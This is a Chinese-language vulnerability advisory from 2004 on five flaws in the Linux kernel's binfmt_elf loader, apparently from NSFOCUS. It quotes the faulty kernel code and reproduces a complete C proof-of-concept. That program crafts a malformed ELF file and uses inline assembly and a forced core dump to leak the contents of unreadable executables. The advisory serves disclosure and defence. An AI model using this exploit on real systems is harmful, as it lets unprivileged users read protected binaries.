安全研究

安全漏洞
Linux Kernel binfmt_elf loader多个安全漏洞

发布日期:2004-11-10
更新日期:2004-11-11

受影响系统:
Linux kernel 2.6.8
Linux kernel 2.6.7
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.27
Linux kernel 2.4.26
Linux kernel 2.4.25
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.18
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
描述:
BUGTRAQ  ID: 11646

Linux Kernel是一款开放源代码的操作系统。

Linux Kernel binfmt_elf loader存在多个漏洞,本地攻击者可以利用这些漏洞对系统进行拒绝服务攻击,或者获得ROOT权限。

Linux内核使用二进制格式载入器( binary  format  loader)实现execve()系统调用的低级格式依赖功能。其中一个Linux格式载入器是ELF载入器,ELF是linux二进制的标准格式。

二进制格式载入器其中一功能是正确处理setuid可执行程序,允许程序在不同用户ID执行程序。Paul Starzetz发现在Linux ELF二进制载入器(linux/fs/binfmt_elf.c for 2.4.27)中存在5个问题:

1)当填充内核缓冲区时错误的检查返回值:

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
       size = elf_ex.e_phnum * sizeof(struct elf_phdr);
       elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
       if (!elf_phdata)
              goto out;

477:   retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *) elf_phdata, size);
       if (retval < 0)
              goto out_free_ph;

检查kernel_read(由file->f_op->read调用)返回值是否为非负不够充分。利用这个漏洞攻击者可能获得内核对象的敏感数据。可能获得系统敏感信息。

2)如果mmap()调用失败可导致不正确的错误行为:

645:   for(i = 0, elf_ppnt = elf_phdata; i < elf_ex.e_phnum; i++, elf_ppnt++) {
684:          error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
              if (BAD_ADDR(error))
                     continue;

利用这个漏洞,由于畸形的内存布局可使部分指令跳到环境区域而对setuid应用程序全部控制。

3)当映射程序解释器到内存时不正确的返回值:

301:   retval = kernel_read(interpreter,interp_elf_ex->e_phoff,(char *)elf_phdata,size);
       error = retval;
       if (retval < 0)
              goto out_close;

       eppnt = elf_phdata;
       for (i=0; i<interp_elf_ex->e_phnum; i++, eppnt++) {
           map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322:       if (BAD_ADDR(map_addr))
              goto out_close;
out_close:
       kfree(elf_phdata);
out:
       return error;
}

由于不正确的返回kernel_read状态可能认为程序解释器已经装载,这样可导致内核直接启动二进制文件而不调用程序解析器(linker)从用户空间完成程序的载入。

4)装载解析器阶段可包含不以NULL结尾的解析器名字符串:

508:        for (i = 0; i < elf_ex.e_phnum; i++) {
518:                 elf_interpreter = (char *) kmalloc(elf_ppnt->p_filesz,
                                                           GFP_KERNEL);
                        if (!elf_interpreter)
                                goto out_free_file;

                        retval = kernel_read(bprm->file, elf_ppnt->p_offset,
                                           elf_interpreter,
                                           elf_ppnt->p_filesz);
                        if (retval < 0)
                                goto out_free_interp;

这个漏洞可导致内部内核文件系统函数调用过长的参数字符串,利用恶意路径名可能导致系统挂起。

5)exec.c的execve()代码存在问题,open_exec()允许读取不可读ELF二进制程序:

541:          interpreter = open_exec(elf_interpreter);
              retval = PTR_ERR(interpreter);
              if (IS_ERR(interpreter))
                     goto out_free_interp;
              retval = kernel_read(interpreter, 0, bprm->buf, BINPRM_BUF_SIZE);

利用这个问题非特权用户可以DUMP出不可读但可执行ELF文件的部分信息,导致敏感信息泄露。

<*来源:Paul Starzetz (paul@starzetz.de
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110010551907076&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Paul Starzetz (paul@starzetz.de)提供了如下测试方法:

第五个问题的测试程序如下:

/*
*
*    binfmt_elf executable file read vulnerability
*
*    gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
*
*    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>

#include <linux/elf.h>


#define BADNAME "/tmp/_elf_dump"



void usage(char *s)
{
    printf("\nUsage: %s executable\n\n", s);
    exit(0);
}

//    ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//        "1:        jmp 1b \n"
        "        xorl    %edi, %edi        \n"
        "        movl    %esp, %esi        \n"
        "        xorl    %edx, %edx        \n"
        "        xorl    %ebp, %ebp        \n"
        "        call    get_addr        \n"

        "        movl    %esi, %esp        \n"
        "        movl    %edi, %ebp        \n"
        "        jmp    inst_sig        \n"

        "get_addr:    popl    %ecx            \n"

//    sighand
        "inst_sig:    xorl    %eax, %eax        \n"
        "        movl    $11, %ebx        \n"
        "        movb    $48, %al        \n"
        "        int    $0x80            \n"

        "ld_page:    movl    %ebp, %eax        \n"
        "        subl    %edx, %eax        \n"
        "        cmpl    $0x1000, %eax        \n"
        "        jle    ld_page2        \n"

//    mprotect
        "        pusha                \n"
        "        movl    %edx, %ebx        \n"
        "        addl     $0x1000, %ebx        \n"
        "        movl    %eax, %ecx        \n"
        "        xorl    %eax, %eax        \n"
        "        movb    $125, %al        \n"
        "        movl    $7, %edx        \n"
        "        int    $0x80            \n"
        "        popa                \n"

        "ld_page2:    addl    $0x1000, %edi        \n"
        "        cmpl    $0xc0000000, %edi    \n"
        "        je    dump            \n"
        "        movl    %ebp, %edx        \n"
        "        movl    (%edi), %eax        \n"
        "        jmp    ld_page            \n"

        "dump:        xorl    %eax, %eax        \n"
        "        xorl    %ecx, %ecx        \n"
        "        movl    $11, %ebx        \n"
        "        movb    $48, %al        \n"
        "        int    $0x80            \n"
        "        movl    $0xdeadbeef, %eax    \n"
        "        jmp    *(%eax)            \n"

    );
}


static volatile void bad_code_end(void)
{
}


int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

    if(ac<2)
        usage(av[0]);

//    make bad a.out
    fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
    nl = strlen(av[1])+1;
    memset(&eh, 0, sizeof(eh) );

//    elf exec header
    memcpy(eh.e_ident, ELFMAG, SELFMAG);
    eh.e_type = ET_EXEC;
    eh.e_machine = EM_386;
    eh.e_phentsize = sizeof(struct elf_phdr);
    eh.e_phnum = 2;
    eh.e_phoff = sizeof(eh);
    write(fd, &eh, sizeof(eh) );

//    section header(s)
    memset(&eph, 0, sizeof(eph) );
    eph.p_type = PT_INTERP;
    eph.p_offset = sizeof(eh) + 2*sizeof(eph);
    eph.p_filesz = nl;
    write(fd, &eph, sizeof(eph) );

    memset(&eph, 0, sizeof(eph) );
    eph.p_type = PT_LOAD;
    eph.p_offset = 4096;
    eph.p_filesz = 4096;
    eph.p_vaddr = 0x0000;
    eph.p_flags = PF_R|PF_X;
    write(fd, &eph, sizeof(eph) );

//    .interp
    write(fd, av[1], nl );

//    execable code
    nl = &bad_code_end - &bad_code;
    lseek(fd, 4096, SEEK_SET);
    write(fd, &bad_code, 4096);
    close(fd);

//    dump the shit
    rl.rlim_cur = RLIM_INFINITY;
    rl.rlim_max = RLIM_INFINITY;
    if( setrlimit(RLIMIT_CORE, &rl) )
        perror("\nsetrlimit failed");
    fflush(stdout);
    pid = fork();
    if(pid)
        wait(NULL);
    else
        execl(BADNAME, BADNAME, NULL);

    printf("\ncore dumped!\n\n");
    unlink(BADNAME);

return 0;
}

建议:
厂商补丁:

Linux
-----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/

浏览次数:3211
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障